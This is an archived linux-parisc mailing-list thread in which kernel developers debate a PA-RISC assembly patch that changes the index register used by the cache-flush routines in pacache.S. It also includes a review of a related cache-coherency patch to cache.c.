Content-Type: multipart/mixed; boundary="Apple-Mail-39-1040884686"
X-Trace: ger.gmane.org 1370190122 13310 80.91.229.3 (2 Jun 2013 16:22:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Jun 2013 16:22:02 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 02 18:22:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UjB2d-0006Zt-Sl
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Jun 2013 18:22:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753885Ab3FBQV7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Jun 2013 12:21:59 -0400
Original-Received: from blu0-omc4-s26.blu0.hotmail.com ([65.55.111.165]:21856 "EHLO
	blu0-omc4-s26.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753687Ab3FBQV6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Jun 2013 12:21:58 -0400
Original-Received: from BLU0-SMTP62 ([65.55.111.137]) by blu0-omc4-s26.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 2 Jun 2013 09:21:57 -0700
X-EIP: [TOvJ5EukvZHqD580EzTmxnnBeETasyLQ]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.95.143]) by BLU0-SMTP62.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 2 Jun 2013 09:21:57 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Jun 2013 16:21:57.0327 (UTC) FILETIME=[4D6CA5F0:01CE5FAD]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5121
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5121>

--Apple-Mail-39-1040884686
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The comment at the start of pacache.S states that the base and index  
registers used for
fdc,fic, and pdc instructions should not use shadowed registers.   
Although this is probably
unnecessary for tmpalias flushes, there is also no reason not to  
comply.  The same
index register (%r23) is used as in other routines.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---



--Apple-Mail-39-1040884686
Content-Disposition: attachment; filename="pacache-index-reg.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="pacache-index-reg.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 36d7f40..5f98abc 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -860,7 +860,7 @@ ENTRY(flush_dcache_page_asm)
 #endif
 
 	ldil		L%dcache_stride, %r1
-	ldw		R%dcache_stride(%r1), %r1
+	ldw		R%dcache_stride(%r1), r23
 
 #ifdef CONFIG_64BIT
 	depdi,z		1, 63-PAGE_SHIFT,1, %r25
@@ -868,26 +868,26 @@ ENTRY(flush_dcache_page_asm)
 	depwi,z		1, 31-PAGE_SHIFT,1, %r25
 #endif
 	add		%r28, %r25, %r25
-	sub		%r25, %r1, %r25
-
-
-1:      fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
+	sub		%r25, r23, %r25
+
+
+1:      fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
+	fdc,m		r23(%r28)
 	cmpb,COND(<<)		%r28, %r25,1b
-	fdc,m		%r1(%r28)
+	fdc,m		r23(%r28)
 
 	sync
 
@@ -936,7 +936,7 @@ ENTRY(flush_icache_page_asm)
 #endif
 
 	ldil		L%icache_stride, %r1
-	ldw		R%icache_stride(%r1), %r1
+	ldw		R%icache_stride(%r1), %r23
 
 #ifdef CONFIG_64BIT
 	depdi,z		1, 63-PAGE_SHIFT,1, %r25
@@ -944,28 +944,28 @@ ENTRY(flush_icache_page_asm)
 	depwi,z		1, 31-PAGE_SHIFT,1, %r25
 #endif
 	add		%r28, %r25, %r25
-	sub		%r25, %r1, %r25
+	sub		%r25, %r23, %r25
 
 
 	/* fic only has the type 26 form on PA1.1, requiring an
 	 * explicit space specification, so use %sr4 */
-1:      fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
+1:      fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
 	cmpb,COND(<<)	%r28, %r25,1b
-	fic,m		%r1(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
 
 	sync
 

--Apple-Mail-39-1040884686
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-39-1040884686--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Use unshadowed index register for flush
 instructions in flush_dcache_page_asm and flush_icache_page_asm
Date: Sun, 02 Jun 2013 09:43:41 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <1370191421.1977.6.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP62E4CC425407D88FFC0DF3979C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370191428 25119 80.91.229.3 (2 Jun 2013 16:43:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Jun 2013 16:43:48 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 02 18:43:47 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UjBNi-000053-8U
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Jun 2013 18:43:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754196Ab3FBQno (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Jun 2013 12:43:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40836 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754177Ab3FBQnn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Jun 2013 12:43:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0BFFE8EE140;
	Sun,  2 Jun 2013 09:43:43 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5yZdpAuLYGuN; Sun,  2 Jun 2013 09:43:42 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 927398EE094;
	Sun,  2 Jun 2013 09:43:42 -0700 (PDT)
In-Reply-To: <BLU0-SMTP62E4CC425407D88FFC0DF3979C0@phx.gbl>
X-Mailer: Evolution 3.8.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5122
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5122>

On Sun, 2013-06-02 at 12:21 -0400, John David Anglin wrote:
> The comment at the start of pacache.S states that the base and index  
> registers used for
> fdc,fic, and pdc instructions should not use shadowed registers.   
> Although this is probably
> unnecessary for tmpalias flushes, there is also no reason not to  
> comply.  The same
> index register (%r23) is used as in other routines.

Please don't do this, it's a misinterpretation of the comment.

What the comment is trying to say is that we use unshadowed registers to
pass information to the tmpalias handler in our tlb insertion
interruption.  It's the do_alias macro in entry.S.  The only actual
unshadowed registers it uses are %r23 and %r26.  Apart from these having
to have specific values, the rest of the routine is free to use any
other registers (either shadowed or unshadowed) as it sees fit.

If the comment is unclear, perhaps it needs fixing?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Use unshadowed index register for flush instructions in flush_dcache_page_asm and flush_icache_page_asm
Date: Sun, 2 Jun 2013 13:16:24 -0400
Lines: 61
Approved: news@gmane.org
Message-ID: <BLU0-SMTP534874204161B3ACF5D2E4979C0@phx.gbl>
References: <BLU0-SMTP62E4CC425407D88FFC0DF3979C0@phx.gbl> <1370191421.1977.6.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370193407 11449 80.91.229.3 (2 Jun 2013 17:16:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Jun 2013 17:16:47 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 02 19:16:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UjBta-0006of-T1
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Jun 2013 19:16:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754534Ab3FBRQm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Jun 2013 13:16:42 -0400
Original-Received: from blu0-omc4-s34.blu0.hotmail.com ([65.55.111.173]:38521 "EHLO
	blu0-omc4-s34.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754518Ab3FBRQm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Jun 2013 13:16:42 -0400
Original-Received: from BLU0-SMTP53 ([65.55.111.137]) by blu0-omc4-s34.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 2 Jun 2013 10:16:41 -0700
X-EIP: [ud20o5eON6lhcbTO71V6pkyb199PFlQ+]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.95.143]) by BLU0-SMTP53.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 2 Jun 2013 10:16:40 -0700
In-Reply-To: <1370191421.1977.6.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Jun 2013 17:16:40.0856 (UTC) FILETIME=[F28F6980:01CE5FB4]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5123
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5123>

On 2-Jun-13, at 12:43 PM, James Bottomley wrote:

> On Sun, 2013-06-02 at 12:21 -0400, John David Anglin wrote:
>> The comment at the start of pacache.S states that the base and index
>> registers used for
>> fdc,fic, and pdc instructions should not use shadowed registers.
>> Although this is probably
>> unnecessary for tmpalias flushes, there is also no reason not to
>> comply.  The same
>> index register (%r23) is used as in other routines.
>
> Please don't do this, it's a misinterpretation of the comment.

I don't think so.  See the discussion around cases 16 and 17 in  
handle_interruption.

>
> What the comment is trying to say is that we use unshadowed  
> registers to
> pass information to the tmpalias handler in our tlb insertion
> interruption.  It's the do_alias macro in entry.S.  The only actual
> unshadowed registers it uses are %r23 and %r26.  Apart from these  
> having
> to have specific values, the rest of the routine is free to use any
> other registers (either shadowed or unshadowed) as it sees fit.
>
> If the comment is unclear, perhaps it needs fixing?


%r23 is only used by the do_alias macro for interruptions in the  
'from' region.
See this hunk:

#ifdef CONFIG_64BIT
         extrd,u,*=      \va,41,1,%r0
#else
         extrw,u,=       \va,9,1,%r0
#endif
         or,COND(tr)     %r23,%r0,\pte
         or              %r26,%r0,\pte

The extract instruction tests whether the interruption was in the 'to'  
tmpalias
region.  If it is in the 'to' region, the instruction following using  
%r23 is nullified.

So, %r23 can be used for the index register in these two functions  
which don't
use the 'from' tmpalias region.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Use unshadowed index register for flush
 instructions in flush_dcache_page_asm and flush_icache_page_asm
Date: Sun, 02 Jun 2013 10:34:18 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <1370194458.1977.16.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP62E4CC425407D88FFC0DF3979C0@phx.gbl>
	 <1370191421.1977.6.camel@dabdike.int.hansenpartnership.com>
	 <BLU0-SMTP534874204161B3ACF5D2E4979C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370194463 21318 80.91.229.3 (2 Jun 2013 17:34:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Jun 2013 17:34:23 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 02 19:34:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UjCAf-0000oO-Pf
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Jun 2013 19:34:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753631Ab3FBReV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Jun 2013 13:34:21 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40942 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753164Ab3FBReU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Jun 2013 13:34:20 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id F41C68EE140;
	Sun,  2 Jun 2013 10:34:19 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 40xSAY33DSPg; Sun,  2 Jun 2013 10:34:19 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 84C798EE094;
	Sun,  2 Jun 2013 10:34:19 -0700 (PDT)
In-Reply-To: <BLU0-SMTP534874204161B3ACF5D2E4979C0@phx.gbl>
X-Mailer: Evolution 3.8.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5124
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5124>

On Sun, 2013-06-02 at 13:16 -0400, John David Anglin wrote:
> On 2-Jun-13, at 12:43 PM, James Bottomley wrote:
> 
> > On Sun, 2013-06-02 at 12:21 -0400, John David Anglin wrote:
> >> The comment at the start of pacache.S states that the base and index
> >> registers used for
> >> fdc,fic, and pdc instructions should not use shadowed registers.
> >> Although this is probably
> >> unnecessary for tmpalias flushes, there is also no reason not to
> >> comply.  The same
> >> index register (%r23) is used as in other routines.
> >
> > Please don't do this, it's a misinterpretation of the comment.
> 
> I don't think so.  See the discussion around cases 16 and 17 in  
> handle_interruption.

Please be clearer: I don't understand what you think the problem is.  16
and 17 are the non access TLB traps which we can't get into in the
tmpalias code.

The way we handle tlb misses (for both NA, D and I types) within the
tmpalias region is in the do_alias macro of the interruption handler.
We never go through to the fault handler.

> >
> > What the comment is trying to say is that we use unshadowed  
> > registers to
> > pass information to the tmpalias handler in our tlb insertion
> > interruption.  It's the do_alias macro in entry.S.  The only actual
> > unshadowed registers it uses are %r23 and %r26.  Apart from these  
> > having
> > to have specific values, the rest of the routine is free to use any
> > other registers (either shadowed or unshadowed) as it sees fit.
> >
> > If the comment is unclear, perhaps it needs fixing?
> 
> 
> %r23 is only used by the do_alias macro for interruptions in the  
> 'from' region.
> See this hunk:
> 
> #ifdef CONFIG_64BIT
>          extrd,u,*=      \va,41,1,%r0
> #else
>          extrw,u,=       \va,9,1,%r0
> #endif
>          or,COND(tr)     %r23,%r0,\pte
>          or              %r26,%r0,\pte
> 
> The extract instruction tests whether the interruption was in the 'to'  
> tmpalias
> region.  If it is in the 'to' region, the instruction following using  
> %r23 is nullified.
> 
> So, %r23 can be used for the index register in these two functions  
> which don't
> use the 'from' tmpalias region.

It can, but it's dangerous and confusing to use it because we've
specifically called out that it has a special meaning in the vario0us
comments.  Using it for a different purpose from what we stated in the
comments within the code needlessly confuses the reader who comes after
us.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix cache coherency for copy/clear_user_page
 operations
Date: Sun, 02 Jun 2013 11:02:05 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <1370196125.1977.26.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP5D57135C2483B5BA307F2979C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370196133 4787 80.91.229.3 (2 Jun 2013 18:02:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Jun 2013 18:02:13 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 02 20:02:12 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UjCba-0005eH-OP
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Jun 2013 20:02:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755143Ab3FBSCJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Jun 2013 14:02:09 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40996 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755127Ab3FBSCJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Jun 2013 14:02:09 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 89B9D8EE140;
	Sun,  2 Jun 2013 11:02:06 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5h5OHDUE43sF; Sun,  2 Jun 2013 11:02:06 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 26BFC8EE094;
	Sun,  2 Jun 2013 11:02:06 -0700 (PDT)
In-Reply-To: <BLU0-SMTP5D57135C2483B5BA307F2979C0@phx.gbl>
X-Mailer: Evolution 3.8.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5125
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5125>

On Sun, 2013-06-02 at 12:09 -0400, John David Anglin wrote:
> As noted by James E.J. Bottomley, we need to purge the kernel TLB  
> entries used when copying/clearing
> to user pages on PA 2.0 systems that require cache coherency.   
> Otherwise, we generate inequivalent
> aliases and incorrect cache operation.

What I meant was we have to remove the tmpalias tlb entry at the end of
the tmpalias operation.  This means in the asm of pacache.S.  Like the
patch below (untested because all my boxes are currently in a shipping
container on the docks at Seattle).  


> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
> index 65fb4cb..a16ede352 100644
> --- a/arch/parisc/kernel/cache.c
> +++ b/arch/parisc/kernel/cache.c
> @@ -383,7 +383,7 @@ void clear_user_page(void *vto, unsigned long
> vaddr, struct page *page)
>  {
>         clear_page_asm(vto);
>         if (!parisc_requires_coherency())
> -               flush_kernel_dcache_page_asm(vto);
> +               flush_kernel_dcache_page_addr(vto);
>  }
>  EXPORT_SYMBOL(clear_user_page);
>  
> @@ -397,10 +397,10 @@ void copy_user_page(void *vto, void *vfrom,
> unsigned long vaddr,
>            the kernel mapping. */
>         preempt_disable();
>         flush_dcache_page_asm(__pa(vfrom), vaddr);
> -       preempt_enable();
>         copy_page_asm(vto, vfrom);
>         if (!parisc_requires_coherency())
> -               flush_kernel_dcache_page_asm(vto);
> +               flush_kernel_dcache_page_addr(vto);
> +       preempt_enable();
>  }
>  EXPORT_SYMBOL(copy_user_page);
> 
These two changes should be ineffective.  The only time
clear_user_page() and copy_user_page() are used is if the architecture
doesn't supply clear_user_highpage() and copy_user_highpage() along with
the necessary defines for highmem.h, which we do.

If we go back to the non highpage defines, we've effectively double
purged, because the kunmap_atomic will do the kernel tlb purge for us as
well.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Use unshadowed index register for flush instructions in flush_dcache_page_asm and flush_icache_page_asm
Date: Sun, 2 Jun 2013 14:06:12 -0400
Lines: 98
Approved: news@gmane.org
Message-ID: <BLU0-SMTP782D88BCF628E3B517BAAA979C0@phx.gbl>
References: <BLU0-SMTP62E4CC425407D88FFC0DF3979C0@phx.gbl> <1370191421.1977.6.camel@dabdike.int.hansenpartnership.com> <BLU0-SMTP534874204161B3ACF5D2E4979C0@phx.gbl> <1370194458.1977.16.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370196392 6950 80.91.229.3 (2 Jun 2013 18:06:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Jun 2013 18:06:32 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 02 20:06:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UjCfm-0005eH-C3
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Jun 2013 20:06:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755163Ab3FBSGa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Jun 2013 14:06:30 -0400
Original-Received: from blu0-omc4-s31.blu0.hotmail.com ([65.55.111.170]:5479 "EHLO
	blu0-omc4-s31.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755160Ab3FBSG3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Jun 2013 14:06:29 -0400
